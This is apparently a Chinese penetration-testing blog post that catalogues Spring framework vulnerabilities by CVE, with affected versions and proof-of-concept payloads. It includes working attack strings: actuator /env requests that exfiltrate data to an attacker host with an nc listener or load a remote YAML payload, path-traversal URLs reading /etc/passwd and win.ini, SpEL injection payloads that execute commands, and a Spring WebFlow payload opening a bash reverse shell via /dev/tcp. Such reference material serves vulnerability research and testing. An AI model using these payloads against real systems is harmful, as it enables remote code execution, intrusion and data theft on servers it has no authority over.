渗透测试 - 信息收集 - Java - Spring - 漏洞整理

0x01 背景介绍

Spring是一个开源框架,它由Rod Johnson创建。它是为了解决企业应用开发的复杂性而创建的。Spring使用基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅限于服务器端的开发。从简单性、可测试性和松耦合的角度而言,任何Java应用都可以从Spring中受益,Spring是一个轻量级的控制反转(IoC)和面向切面(AOP)的容器框架。

 


Spring集合:

1】Spring JDBC 

2】Spring MVC Springmvc是Springframework里面的一个组件,用于javaee开发过程中的控制层。
3】Spring Security --Spring Security OAuth Spring Security OAuth是为Spring框架提供安全认证支持的一个模块,主要分为授权服务 Authorization Service.资源服务 Resource Service.这次漏洞主要是由用户使用Whitelabel views来处理错误时,攻击者在被授权的情况下可以通过构造恶意 SpEL表达式来远程执行命令
4】Spring AOP
5】Spring ORM
6】Spring Test
7】Spring WebFlow Spring WebFlow构建于Spring MVC之上,允许实现Web应用程序的“流程”。流程封装了一系列步骤,指导用户执行某些业务任务。 它的最佳位置是具有受控导航功能的有状态Web应用程序,例如购物逻辑,向表单添加确认步骤等。如果我们控制了数据绑定时的field,构造恶意 SpEL表达式来远程执行命令。
8】 Spring Data Spring Data是对数据访问的更高抽象。通过它,开发者进一步从数据层解放出来,更专注于业务逻辑,是一个用于简化数据库访问,并支持云服务的开源框架。
8-1】Spring Data REST Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中,path的值被传入setValue,导致执行了恶意SpEL表达式,触发远程命令执行漏洞。
8-2】Spring Data Commons Spring Data Commons是Spring Data Repository抽象。使用Spring Data Repository可以极大地减少数据访问层的代码。当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候,会将用户提交的form表单的key值作为SpEL表达式进行注入,攻击者可以注入恶意SpEL表达式以执行任意命令。 【9】spring messaging spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS, 用STOMP协议将数据组合成一个文本流,简单来说用sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket(NEW)或ajax(OLD)进与后端通信。由于selector用SpEL表达式编写,并使用StandardEvaluationContext解析(权限太大),造成命令执行漏洞。 【10】 Spring Cloud Spring Cloud是一整套基于Spring Boot的微服务解决方案,为开发者提供了很多工具,用于快速构建分布式系统的一些通用模式。
10-1】 Spring Cloud data flow
10-2】 Spring Cloud Config Spring Cloud Config为分布式系统中的外部化配置提供服务器和客户端支持。 使用Config Server,您可以在所有环境中管理应用程序的外部属性。
10-3】Spring Cloud Eureka SpringCloud封装了Netflix公司开发的Eureka模块来实现服务注册与发现,Eureka采用了C/S设计架构,Eureka Server作为服务注册功能的服务器,它是服务注册中心。而系统中的其他微服务,使用Eureka Client连接到Eureka Server并维持心跳连接,这样系统的维护人员就可以通过Eureka Server来监控系统中的各个微服务是否正常运行,SpringCloud的一些其他模块(例如Zuul)就可以通过Eureka Server来发现系统中的其他微服务,并执行相关的逻辑。 【11】Spring Boot Spring Boot 是 Spring 的一套快速配置脚手架,可以基于spring boot 快速开发单个微服务。
11-1】Spring Boot actuator SpringBoot自带监控功能Actuator,可以帮助实现对程序内部运行情况监控。 【12】 Springframework Springframework 是sping 里面的一个开源框架,主要用户javaee的企业开发。 【13】 Spring integration
14】Spring batch
15】Spring hateoas
16】Jolokia Jolokia是一个利用JSON通过Http实现JMX远程管理的开源项目,可在Spring Boot项目中使用。
17】Logback Logback是由log4j创始人设计的另一个开源日志组件,用于取代log4j,官方网站: http://logback.qos.ch。 Logback默认配置文件: logback-test.xml(如果文件不存在,则查找文件logback.xml)

 

WooYun-2016-226888 - Spring Boot框架存在SPEL表达式注入通用漏洞(未找到相关资料)

 

Spring Boot + Spring cloud PID漏洞

(1)
GET /env HTTP/1.1 Host: xx.xx.xx.28:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9 Cookie: csrftoken=mA7PD6I8fuBUtju2kgVyc7z4c2R3sSFGA2sB7GclbXYHf2u8a4zoYisrNu43oebb Connection: close Content-Length: 70 eureka.client.serviceUrl.defaultZone=http://${PID}@xx.xx.xx.226:6666/

(2)nc监听
nc -lvp 6666

(3)refresh

(4)base64解码获取属性
echo xxx | base64 -d

 

Spring Boot + Spring Cloud(spring Cloud env yaml利用)

当spring boot使用Spring Cloud 相关组件时,会存在spring.cloud.bootstrap.location属性,通过修改 spring.cloud.bootstrap.location 环境变量实现 RCE

  • 利用范围

Spring Boot 2.x 无法利用成功
Spring Boot 1.5.x 在使用 Dalston 版本时可利用成功,使用 Edgware 无法成功
Spring Boot <= 1.4 可利用成功

(1)
https://github.com/artsploit/yaml-payload(修改重打包)

(2)
GET /env HTTP/1.1 Host: xx.xx.xx.xx:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9 Cookie: csrftoken=mA7PD6I8fuBUtju2kgVyc7z4c2R3sSFGA2sB7GclbXYHf2u8a4zoYisrNu43oebb Connection: close Content-Length: 75 spring.cloud.bootstrap.location=http://xx.xx.xx.xx/yaml-payload.yaml

(3)/refresh

 

CVE-2020-5405 Spring Cloud Config路径穿越导致的信息泄露

影响版本:spring-cloud-config-server < 2.2.2

 

CVE-2020-5398

Date:
2020.1

类型:
RFD

影响范围:
 
versions 5.2.x prior to 5.2.3, versions 5.1.x prior to 5.1.13, and versions 5.0.x prior to 5.0.16
poc: $ curl
'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -

 

CVE-2019-11269 Spring Security OAuth 开放重定向

影响版本:

Spring Security OAuth 2.3至2.3.5
Spring Security OAuth 2.2至2.2.4
Spring Security OAuth 2.1至2.1.4
Spring Security OAUth 2.0至2.0.17

 

CVE-2020-5410

影响版本
• Spring Cloud Config: 2.2.0 to 2.2.2
• Spring Cloud Config: 2.1.0 to 2.1.8

http://127.0.0.1:8089/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/111
http://127.0.0.1:8089/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/111/222

 

Spring Cloud Config目录遍历漏洞(CVE-2019-3799)

Date
2019

类型
任意文件读取

影响范围
Spring Cloud Config 2.1.0 to 2.1.1
Spring Cloud Config 2.0.0 to 2.0.3
Spring Cloud Config 1.4.0 to 1.4.5

poc
/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd

 

CVE-2019-3778 Spring Security OAuth 开放重定向

影响版本:
Spring Security OAuth 2.3 to 2.3.4
Spring Security OAuth 2.2 to 2.2.3
Spring Security OAuth 2.1 to 2.1.3
Spring Security OAuth 2.0 to 2.0.16

 

CVE-2018-15758 spring-security-oauth2权限提升

影响版本:
Spring Security OAuth 2.3至2.3.3
Spring Security OAuth 2.2至2.2.2
Spring Security OAuth 2.1至2.1.2
Spring Security OAuth 2.0到2.0.15

 

CVE-2018-1273

Date
2018

类型
SpEL表达式注入漏洞

影响范围
Spring Data Commons  < 2.0.5

poc
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("ping xxx.dnslog.cn")]=xxx&password=123456&repeatedPassword=123456

 

CVE-2018-1272

(在Spring MVC或者WebFlux应用把客户端请求再转向另一台服务器的场景下,攻击者通过构造和污染Multipart类型请求,可能对另一台服务器实现权限提升攻击)

 

Spring MVC 目录穿越漏洞(CVE-2018-1271)

Date
2018.4

类型
任意文件下载
影响范围 Spring Framework
5.0 to 5.0.4. Spring Framework 4.3 to 4.3.14 已不支持的旧版本仍然受影响 前置条件 Server运行于Windows系统上 要使用file协议打开资源文件目录 poc http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini

 

 

Spring Messaging 远程命令执行漏洞(CVE-2018-1270)

Date
2018

类型
RCE
影响范围 poc \nselector:
new java.lang.ProcessBuilder("touch /tmp/sucesss").start()

 

Spring-Integration-Zip 任意文件写入漏洞 Unsafe Unzip with spring-integration-zip(CVE-2018-1261)

Date
2018

类型
任意文件写入漏洞

影响范围
Spring-Integration-Zip Community Extension Project Version 1.0.0

 

CVE-2018-1263 (Spring-Integration-Zip 任意文件写入漏洞  没找到相关案例,阿里先知有一篇分析)

 

Spring-Security-OAuth2 远程代码执行漏洞(CVE-2018-1260)

Date
2018

类型
RCE
影响范围 Spring Security Oauth
2.3.x < Spring Security Oauth 2.3.3 Spring Security Oauth 2.2.x < Spring Security Oauth 2.2.2 Spring Security Oauth 2.1.x < Spring Security Oauth 2.1.2 Spring Security Oauth 2.0.x < Spring Security Oauth 2.0.15 以及不受支持的旧版本

 

Spring Data 框架使用XMLBean产生XXE漏洞(CVE-2018-1259)

Date
2018

类型
XXE

影响范围
Spring Data Commons 1.13.x < Spring1.13.12
Spring Data Commons 2.0.x <  Spring2.0.7
Spring Data REST 2.6.x < Spring Data REST 2.6.12
Spring Data REST 3.0.x < Spring Data REST 3.0.7

poc

 

CVE-2018-1258 Spring Security未经授权的访问(未找到公开poc)

影响版本:Spring Framework 5.0.5.RELEASE和Spring Security(任何版本)

 

Spring Messaging组件中存在漏洞可导致正则表达式拒绝服务攻击(CVE-2018-1257)

Date
2018

类型
DOS

影响范围
Spring5.0.x < Spring5.0.6
Spring4.3.x < Spring4.3.17
以及不在收支持的版本

poc

 

CVE-2017-8046

Date
2017

类型
SPEL表达式注入 影响范围

Spring Data REST 2.5.12, 2.6.7, 3.0 RC3之前的版本


Spring Boot 2.0.0M4之前的版本


Spring Data release trains Kay-RC3之前的版本


poc
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{111,112,101,110,32,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112}))/lastName", "value": "vulhub" }]

 

CVE-2017-8045 Spring Amqp中的远程代码执行

影响版本:1.7.41.6.11和1.5.7之前的Spring AMQP版本

 

Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

Date
2017

类型
RCE
影响范围 poc _(
new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/ip/端口 0>&1")).start()=hellowrod(要url编码,因为有特殊符号)

 

CVE-2016-6652 Spring Data JPA SQL盲注(未找到相关资料)

影响版本:Spring Data JPA 1.10.21.9.4

 

CNVD-2016-04742 Spring Boot框架SPEL表达式注入漏洞

(1)影响版本:1.1.0-1.1.121.2.0-1.2.71.3.0

(2)至少知道一个触发 springboot 默认错误页面的接口及参数名


补丁:philwebb committed on 15 Dec 2015
https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6

 

 

Spring Security OAuth2.0 (CVE-2016-4977)

Date
2016

类型
EL表达式注入导致RCE

影响范围
Spring Security OAuth2.0
前置条件
登录

poc:
http://127.0.0.1:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

 

CVE-2016-2173 Spring AMQP中的远程代码执行

影响版本:1.0.0至1.5.4

 

Spring WebFlow 远程代码执行漏洞 CVE-2017-8039(https://www.chaosec.com/?p=754)

 

CVE-2014-3578 Spring Framework 目录遍历漏洞 (未找到相关资料)

影响版本:
Spring Framework:
- 3.0.4 to 3.2.11
- 4.0.0 to 4.0.7
- 4.1.0 to 4.1.1

 

CVE-2014-0097 Spring Security认证绕过(未找到相关资料)

影响版本:Spring Security 3.2.0至3.2.1和3.1.0至3.1.5

 

CVE-2014-3527 Spring Security验证绕过漏洞(未找到相关资料)

SpringSource Spring Security 3.1-3.2.4

 

CVE-2013-7315 Spring Framework中的XML外部实体(未找到相关资料)

影响版本:3.2.0至3.2.34.0.0.M1-4.0.0.M2(Spring MVC)

 

CVE-2013-4152 Spring Framework中的XML外部实体(XXE)注入

影响版本:
3.0.0至3.2.34.0.0.M1

 (https://blog.csdn.net/dingodingy/article/details/84495877) 

 

CVE-2010-1622 Spring Frame class.classLoader类远程代码执行

Date
2010

类型
远程代码执行

影响范围
Spring Framework 3.0.0-3.0.2
Spring Framwork 2.5.0-2.5.7

(Spring Framework class.classLoader类远程代码执行 https://www.inbreak.net/archives/377)

(未找到公开poc)

posted @ 2020-03-29 01:26  7hang  阅读(5816)  评论(0编辑  收藏  举报